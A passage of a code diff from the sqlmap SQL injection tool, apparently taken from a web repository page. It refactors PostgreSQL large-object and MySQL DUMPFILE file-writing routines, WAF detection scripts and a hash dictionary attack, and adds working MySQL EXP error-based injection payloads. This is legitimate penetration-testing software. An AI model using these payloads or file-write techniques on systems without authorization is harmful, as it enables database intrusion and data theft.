lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
|
||||
|
||||
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
|
||||
deviation = stdev(ratios)
|
||||
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
|
||||
if min_ < lower:
|
||||
retVal = minItem[0]
|
||||
|
||||
if min_ < lower:
|
||||
retVal = minItem[0]
|
||||
|
||||
if max_ > upper:
|
||||
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
|
||||
retVal = maxItem[0]
|
||||
|
||||
kb.errorIsNone = popValue()
|
||||
if max_ > upper:
|
||||
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
|
||||
retVal = maxItem[0]
|
||||
finally:
|
||||
kb.errorIsNone = popValue()
|
||||
|
||||
if retVal:
|
||||
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
|
||||
|
|
|
@ -8,14 +8,11 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
|
||||
from subprocess import PIPE
|
||||
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.convert import base64pickle
|
||||
from lib.core.convert import hexencode
|
||||
|
@ -156,11 +153,12 @@ class Task(object):
|
|||
|
||||
def engine_start(self):
|
||||
self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)],
|
||||
shell=False, stdin=PIPE, close_fds=not IS_WIN)
|
||||
shell=False, close_fds=not IS_WIN)
|
||||
|
||||
def engine_stop(self):
|
||||
if self.process:
|
||||
return self.process.terminate()
|
||||
self.process.terminate()
|
||||
return self.process.wait()
|
||||
else:
|
||||
return None
|
||||
|
||||
|
@ -169,7 +167,8 @@ class Task(object):
|
|||
|
||||
def engine_kill(self):
|
||||
if self.process:
|
||||
return self.process.kill()
|
||||
self.process.kill()
|
||||
return self.process.wait()
|
||||
else:
|
||||
return None
|
||||
|
||||
|
|
|
@ -5,7 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
|||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import httplib
|
||||
import os
|
||||
import re
|
||||
|
@ -19,13 +18,11 @@ from lib.core.common import findPageForms
|
|||
from lib.core.common import openFile
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import safeCSValue
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.threads import runThreads
|
||||
from lib.parse.sitemap import parseSitemap
|
||||
|
|
|
@ -31,7 +31,7 @@ from lib.request.httpshandler import HTTPSHandler
|
|||
class Google(object):
|
||||
"""
|
||||
This class defines methods used to perform Google dorking (command
|
||||
line option '-g <google dork>'
|
||||
line option '-g <google dork>')
|
||||
"""
|
||||
|
||||
def __init__(self, handlers):
|
||||
|
|
|
@ -59,7 +59,6 @@ from lib.core.data import kb
|
|||
from lib.core.data import logger
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASH
|
||||
from lib.core.exception import SqlmapFilePathException
|
||||
from lib.core.exception import SqlmapUserQuitException
|
||||
from lib.core.settings import COMMON_PASSWORD_SUFFIXES
|
||||
from lib.core.settings import COMMON_USER_COLUMNS
|
||||
|
@ -668,8 +667,9 @@ def dictionaryAttack(attack_dict):
|
|||
hash_regexes = []
|
||||
results = []
|
||||
resumes = []
|
||||
processException = False
|
||||
user_hash = []
|
||||
processException = False
|
||||
foundHash = False
|
||||
|
||||
for (_, hashes) in attack_dict.items():
|
||||
for hash_ in hashes:
|
||||
|
@ -693,6 +693,7 @@ def dictionaryAttack(attack_dict):
|
|||
if not hash_:
|
||||
continue
|
||||
|
||||
foundHash = True
|
||||
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
|
||||
|
||||
if re.match(hash_regex, hash_):
|
||||
|
@ -770,7 +771,7 @@ def dictionaryAttack(attack_dict):
|
|||
|
||||
except Exception, ex:
|
||||
warnMsg = "there was a problem while loading dictionaries"
|
||||
warnMsg += " ('%s')" % ex
|
||||
warnMsg += " ('%s')" % ex.message
|
||||
logger.critical(warnMsg)
|
||||
|
||||
message = "do you want to use common password suffixes? (slow!) [y/N] "
|
||||
|
@ -955,9 +956,8 @@ def dictionaryAttack(attack_dict):
|
|||
|
||||
results.extend(resumes)
|
||||
|
||||
if len(hash_regexes) == 0:
|
||||
warnMsg = "unknown hash format. "
|
||||
warnMsg += "Please report by e-mail to 'dev@sqlmap.org'"
|
||||
if foundHash and len(hash_regexes) == 0:
|
||||
warnMsg = "unknown hash format"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if len(results) == 0:
|
||||
|
|
|
@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
import imp
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import warnings
|
||||
|
||||
|
|
|
@ -14,6 +14,7 @@ from lib.core.common import isNoneValue
|
|||
from lib.core.common import isNumPosStrValue
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import safeSQLIdentificatorNaming
|
||||
from lib.core.common import safeStringFormat
|
||||
from lib.core.common import unArrayizeValue
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
from lib.core.data import conf
|
||||
|
@ -136,7 +137,7 @@ class Enumeration(GenericEnumeration):
|
|||
tables = []
|
||||
|
||||
for index in xrange(int(count)):
|
||||
_ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index
|
||||
_ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index)
|
||||
|
||||
table = inject.getValue(_, union=False, error=False)
|
||||
if not isNoneValue(table):
|
||||
|
|
|
@ -343,7 +343,6 @@ class Filesystem(GenericFilesystem):
|
|||
logger.info(infoMsg)
|
||||
|
||||
chunkMaxSize = 500
|
||||
dFileName = ntpath.basename(dFile)
|
||||
|
||||
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
|
||||
randFilePath = "%s\%s" % (tmpPath, randFile)
|
||||
|
|
|
@ -7,6 +7,8 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
from lib.core.common import isNumPosStrValue
|
||||
from lib.core.common import isTechniqueAvailable
|
||||
from lib.core.common import popValue
|
||||
from lib.core.common import pushValue
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
|
@ -97,8 +99,11 @@ class Filesystem(GenericFilesystem):
|
|||
debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
pushValue(kb.forceWhere)
|
||||
kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
|
||||
sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
|
||||
unionUse(sqlQuery, unpack=False)
|
||||
kb.forceWhere = popValue()
|
||||
|
||||
warnMsg = "expect junk characters inside the "
|
||||
warnMsg += "file as a leftover from UNION query"
|
||||
|
|
|
@ -8,15 +8,16 @@ See the file 'doc/COPYING' for copying permission
|
|||
import os
|
||||
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import SqlmapUnsupportedFeatureException
|
||||
from lib.core.settings import LOBLKSIZE
|
||||
from lib.request import inject
|
||||
from plugins.generic.filesystem import Filesystem as GenericFilesystem
|
||||
|
||||
class Filesystem(GenericFilesystem):
|
||||
def __init__(self):
|
||||
self.oid = None
|
||||
self.page = None
|
||||
|
||||
GenericFilesystem.__init__(self)
|
||||
|
||||
|
@ -35,34 +36,13 @@ class Filesystem(GenericFilesystem):
|
|||
|
||||
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
|
||||
wFileSize = os.path.getsize(wFile)
|
||||
|
||||
if wFileSize > 8192:
|
||||
errMsg = "on PostgreSQL it is not possible to write files "
|
||||
errMsg += "bigger than 8192 bytes at the moment"
|
||||
raise SqlmapUnsupportedFeatureException(errMsg)
|
||||
content = open(wFile, "rb").read()
|
||||
|
||||
self.oid = randomInt()
|
||||
|
||||
debugMsg = "creating a support table to write the base64 "
|
||||
debugMsg += "encoded file to"
|
||||
logger.debug(debugMsg)
|
||||
self.page = 0
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
||||
logger.debug("encoding file to its base64 string value")
|
||||
fcEncodedList = self.fileEncode(wFile, "base64", False)
|
||||
|
||||
debugMsg = "forging SQL statements to write the base64 "
|
||||
debugMsg += "encoded file to the support table"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||
|
||||
logger.debug("inserting the base64 encoded file to the support table")
|
||||
|
||||
for sqlQuery in sqlQueries:
|
||||
inject.goStacked(sqlQuery)
|
||||
|
||||
debugMsg = "create a new OID for a large object, it implicitly "
|
||||
debugMsg += "adds an entry in the large objects system table"
|
||||
logger.debug(debugMsg)
|
||||
|
@ -70,44 +50,27 @@ class Filesystem(GenericFilesystem):
|
|||
# References:
|
||||
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
|
||||
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
|
||||
|
||||
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
|
||||
inject.goStacked("SELECT lo_create(%d)" % self.oid)
|
||||
inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)
|
||||
|
||||
debugMsg = "updating the system large objects table assigning to "
|
||||
debugMsg += "the just created OID the binary (base64 decoded) UDF "
|
||||
debugMsg += "as data"
|
||||
logger.debug(debugMsg)
|
||||
for offset in xrange(0, wFileSize, LOBLKSIZE):
|
||||
fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
|
||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||
|
||||
# Refereces:
|
||||
# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
|
||||
# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
|
||||
#
|
||||
# NOTE: From PostgreSQL site:
|
||||
#
|
||||
# "The data stored in the large object will never be more than
|
||||
# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
|
||||
# typically 2 Kb"
|
||||
#
|
||||
# As a matter of facts it was possible to store correctly a file
|
||||
# large 13776 bytes, the problem arises at next step (lo_export())
|
||||
#
|
||||
# Inject manually into PostgreSQL system table pg_largeobject the
|
||||
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
|
||||
# not accept UPDATE into that table for some reason.
|
||||
self.getVersionFromBanner()
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
for sqlQuery in sqlQueries:
|
||||
inject.goStacked(sqlQuery)
|
||||
|
||||
if banVer >= "9.0":
|
||||
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
|
||||
else:
|
||||
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
|
||||
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
|
||||
inject.goStacked("DELETE FROM %s" % self.fileTblName)
|
||||
|
||||
self.page += 1
|
||||
|
||||
debugMsg = "exporting the OID %s file content to " % fileType
|
||||
debugMsg += "file '%s'" % dFile
|
||||
logger.debug(debugMsg)
|
||||
|
||||
# NOTE: lo_export() exports up to only 8192 bytes of the file
|
||||
# (pg_largeobject 'data' field)
|
||||
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
|
||||
|
||||
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
|
||||
|
|
|
@ -120,9 +120,12 @@ class Custom:
|
|||
if not sfile:
|
||||
continue
|
||||
|
||||
query = getSQLSnippet(Backend.getDbms(), sfile)
|
||||
snippet = getSQLSnippet(Backend.getDbms(), sfile)
|
||||
|
||||
infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile)
|
||||
logger.info(infoMsg)
|
||||
|
||||
conf.dumper.query(query, self.sqlQuery(query))
|
||||
if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))):
|
||||
for query in filter(None, snippet.split(';' if ';' in snippet else '\n')):
|
||||
query = query.strip()
|
||||
if query:
|
||||
conf.dumper.query(query, self.sqlQuery(query))
|
||||
else:
|
||||
conf.dumper.query(snippet, self.sqlQuery(snippet))
|
||||
|
|
|
@ -742,32 +742,33 @@ class Databases:
|
|||
infoMsg = "enumerating database management system schema"
|
||||
logger.info(infoMsg)
|
||||
|
||||
pushValue(conf.db)
|
||||
pushValue(conf.tbl)
|
||||
pushValue(conf.col)
|
||||
try:
|
||||
pushValue(conf.db)
|
||||
pushValue(conf.tbl)
|
||||
pushValue(conf.col)
|
||||
|
||||
kb.data.cachedTables = {}
|
||||
kb.data.cachedColumns = {}
|
||||
kb.data.cachedTables = {}
|
||||
kb.data.cachedColumns = {}
|
||||
|
||||
self.getTables()
|
||||
self.getTables()
|
||||
|
||||
infoMsg = "fetched tables: "
|
||||
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
|
||||
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
|
||||
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
|
||||
kb.data.cachedTables.items()])
|
||||
logger.info(infoMsg)
|
||||
infoMsg = "fetched tables: "
|
||||
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
|
||||
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
|
||||
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
|
||||
kb.data.cachedTables.items()])
|
||||
logger.info(infoMsg)
|
||||
|
||||
for db, tables in kb.data.cachedTables.items():
|
||||
for tbl in tables:
|
||||
conf.db = db
|
||||
conf.tbl = tbl
|
||||
for db, tables in kb.data.cachedTables.items():
|
||||
for tbl in tables:
|
||||
conf.db = db
|
||||
conf.tbl = tbl
|
||||
|
||||
self.getColumns()
|
||||
|
||||
conf.col = popValue()
|
||||
conf.tbl = popValue()
|
||||
conf.db = popValue()
|
||||
self.getColumns()
|
||||
finally:
|
||||
conf.col = popValue()
|
||||
conf.tbl = popValue()
|
||||
conf.db = popValue()
|
||||
|
||||
return kb.data.cachedColumns
|
||||
|
||||
|
|
|
@ -341,13 +341,13 @@ class Entries:
|
|||
attackDumpedTable()
|
||||
except (IOError, OSError), ex:
|
||||
errMsg = "an error occurred while attacking "
|
||||
errMsg += "table dump ('%s')" % ex
|
||||
errMsg += "table dump ('%s')" % ex.message
|
||||
logger.critical(errMsg)
|
||||
conf.dumper.dbTableValues(kb.data.dumpedTable)
|
||||
|
||||
except SqlmapConnectionException, ex:
|
||||
errMsg = "connection exception detected in dumping phase "
|
||||
errMsg += "('%s')" % ex
|
||||
errMsg += "('%s')" % ex.message
|
||||
logger.critical(errMsg)
|
||||
|
||||
finally:
|
||||
|
|
|
@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission
|
|||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToOutFile
|
||||
|
@ -13,6 +14,7 @@ from lib.core.common import Backend
|
|||
from lib.core.common import checkFile
|
||||
from lib.core.common import decloakToTemp
|
||||
from lib.core.common import decodeHexValue
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import isNumPosStrValue
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import isStackingAvailable
|
||||
|
@ -42,7 +44,7 @@ class Filesystem:
|
|||
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
|
||||
|
||||
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
|
||||
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
|
||||
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
|
||||
|
||||
elif Backend.isDbms(DBMS.MSSQL):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
|
||||
|
@ -62,6 +64,7 @@ class Filesystem:
|
|||
|
||||
if isNumPosStrValue(remoteFileSize):
|
||||
remoteFileSize = long(remoteFileSize)
|
||||
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
|
||||
sameFile = False
|
||||
|
||||
if localFileSize == remoteFileSize:
|
||||
|
@ -105,20 +108,27 @@ class Filesystem:
|
|||
|
||||
return sqlQueries
|
||||
|
||||
def fileEncode(self, fileName, encoding, single):
|
||||
def fileEncode(self, fileName, encoding, single, chunkSize=256):
|
||||
"""
|
||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||
back-end DBMS underlying file system
|
||||
"""
|
||||
|
||||
retVal = []
|
||||
with open(fileName, "rb") as f:
|
||||
content = f.read().encode(encoding).replace("\n", "")
|
||||
content = f.read()
|
||||
|
||||
return self.fileContentEncode(content, encoding, single, chunkSize)
|
||||
|
||||
def fileContentEncode(self, content, encoding, single, chunkSize=256):
|
||||
retVal = []
|
||||
|
||||
if encoding:
|
||||
content = content.encode(encoding).replace("\n", "")
|
||||
|
||||
if not single:
|
||||
if len(content) > 256:
|
||||
for i in xrange(0, len(content), 256):
|
||||
_ = content[i:i + 256]
|
||||
if len(content) > chunkSize:
|
||||
for i in xrange(0, len(content), chunkSize):
|
||||
_ = content[i:i + chunkSize]
|
||||
|
||||
if encoding == "hex":
|
||||
_ = "0x%s" % _
|
||||
|
@ -232,7 +242,7 @@ class Filesystem:
|
|||
fileContent = newFileContent
|
||||
|
||||
if fileContent is not None:
|
||||
fileContent = decodeHexValue(fileContent)
|
||||
fileContent = decodeHexValue(fileContent, True)
|
||||
|
||||
if fileContent:
|
||||
localFilePath = dataToOutFile(remoteFile, fileContent)
|
||||
|
|
|
@ -715,16 +715,13 @@ updateAll = False
|
|||
|
||||
[Miscellaneous]
|
||||
|
||||
# Use short mnemonics (e.g. "flu,bat,ban,tec=EU").
|
||||
mnemonics =
|
||||
|
||||
# Run host OS command(s) when SQL injection is found.
|
||||
alert =
|
||||
|
||||
# Set question answers (e.g. "quit=N,follow=N").
|
||||
answers =
|
||||
|
||||
# Make a beep sound when SQL injection is found.
|
||||
# Beep on question and/or when SQL injection is found.
|
||||
# Valid: True or False
|
||||
beep = False
|
||||
|
||||
|
@ -757,6 +754,10 @@ identifyWaf = False
|
|||
# Valid: True or False
|
||||
mobile = False
|
||||
|
||||
# Work in offline mode (only use session data)
|
||||
# Valid: True or False
|
||||
offline = False
|
||||
|
||||
# Display page rank (PR) for Google dork results.
|
||||
# Valid: True or False
|
||||
pageRank = False
|
||||
|
|
13
sqlmap.py
13
sqlmap.py
|
@ -12,7 +12,6 @@ import os
|
|||
import re
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
import traceback
|
||||
import warnings
|
||||
|
@ -28,7 +27,6 @@ from lib.core.common import createGithubIssue
|
|||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import maskSensitiveData
|
||||
from lib.core.common import setColor
|
||||
from lib.core.common import setPaths
|
||||
from lib.core.common import weAreFrozen
|
||||
from lib.core.data import cmdLineOptions
|
||||
|
@ -62,7 +60,7 @@ def modulePath():
|
|||
except NameError:
|
||||
_ = inspect.getsourcefile(modulePath)
|
||||
|
||||
return getUnicode(os.path.dirname(os.path.realpath(_)), sys.getfilesystemencoding())
|
||||
return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
|
||||
|
||||
def main():
|
||||
"""
|
||||
|
@ -71,6 +69,15 @@ def main():
|
|||
|
||||
try:
|
||||
paths.SQLMAP_ROOT_PATH = modulePath()
|
||||
|
||||
try:
|
||||
os.path.isdir(paths.SQLMAP_ROOT_PATH)
|
||||
except UnicodeEncodeError:
|
||||
errMsg = "your system does not properly handle non-ASCII paths. "
|
||||
errMsg += "Please move the sqlmap's directory to the other location"
|
||||
logger.error(errMsg)
|
||||
exit()
|
||||
|
||||
setPaths()
|
||||
|
||||
# Store original command line options for possible later restoration
|
||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "360 Web Application Firewall (360)"
|
||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "Anquanbao Web Application Firewall (Anquanbao)"
|
||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "Yunjiasu Web Application Firewall (Baidu)"
|
||||
|
|
|
@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
|
|||
__product__ = "EdgeCast WAF (Verizon)"
|
||||
|
||||
def detect(get_page):
|
||||
retval = False
|
||||
retVal = False
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, code = get_page(get=vector)
|
||||
retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
if retval:
|
||||
if retVal:
|
||||
break
|
||||
|
||||
return retval
|
||||
return retVal
|
||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "Safedog Web Application Firewall (Safedog)"
|
||||
|
|
|
@ -5,9 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
|
|||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import WAF_ATTACK_VECTORS
|
||||
|
||||
__product__ = "SEnginx (Neusoft Corporation)"
|
||||
|
|
|
@ -13,12 +13,12 @@ from lib.core.settings import WAF_ATTACK_VECTORS
|
|||
__product__ = "Sucuri WebSite Firewall"
|
||||
|
||||
def detect(get_page):
|
||||
retval = False
|
||||
retVal = False
|
||||
|
||||
for vector in WAF_ATTACK_VECTORS:
|
||||
page, headers, code = get_page(get=vector)
|
||||
retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
|
||||
if retval:
|
||||
if retVal:
|
||||
break
|
||||
|
||||
return retval
|
||||
return retVal
|
||||
|
|
|
@ -149,6 +149,46 @@
|
|||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||
<request>
|
||||
<payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.5</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||
<request>
|
||||
<payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.5</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
|
||||
<stype>2</stype>
|
||||
|
@ -682,6 +722,26 @@
|
|||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 error-based - Parameter replace (EXP)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>3</where>
|
||||
<vector>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||
<request>
|
||||
<payload>EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.5</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title>
|
||||
<stype>2</stype>
|
||||
|
@ -898,6 +958,26 @@
|
|||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
|
||||
<request>
|
||||
<payload>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.5</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title>
|
||||
<stype>2</stype>
|
||||
|
|
Loading…
Reference in New Issue
Block a user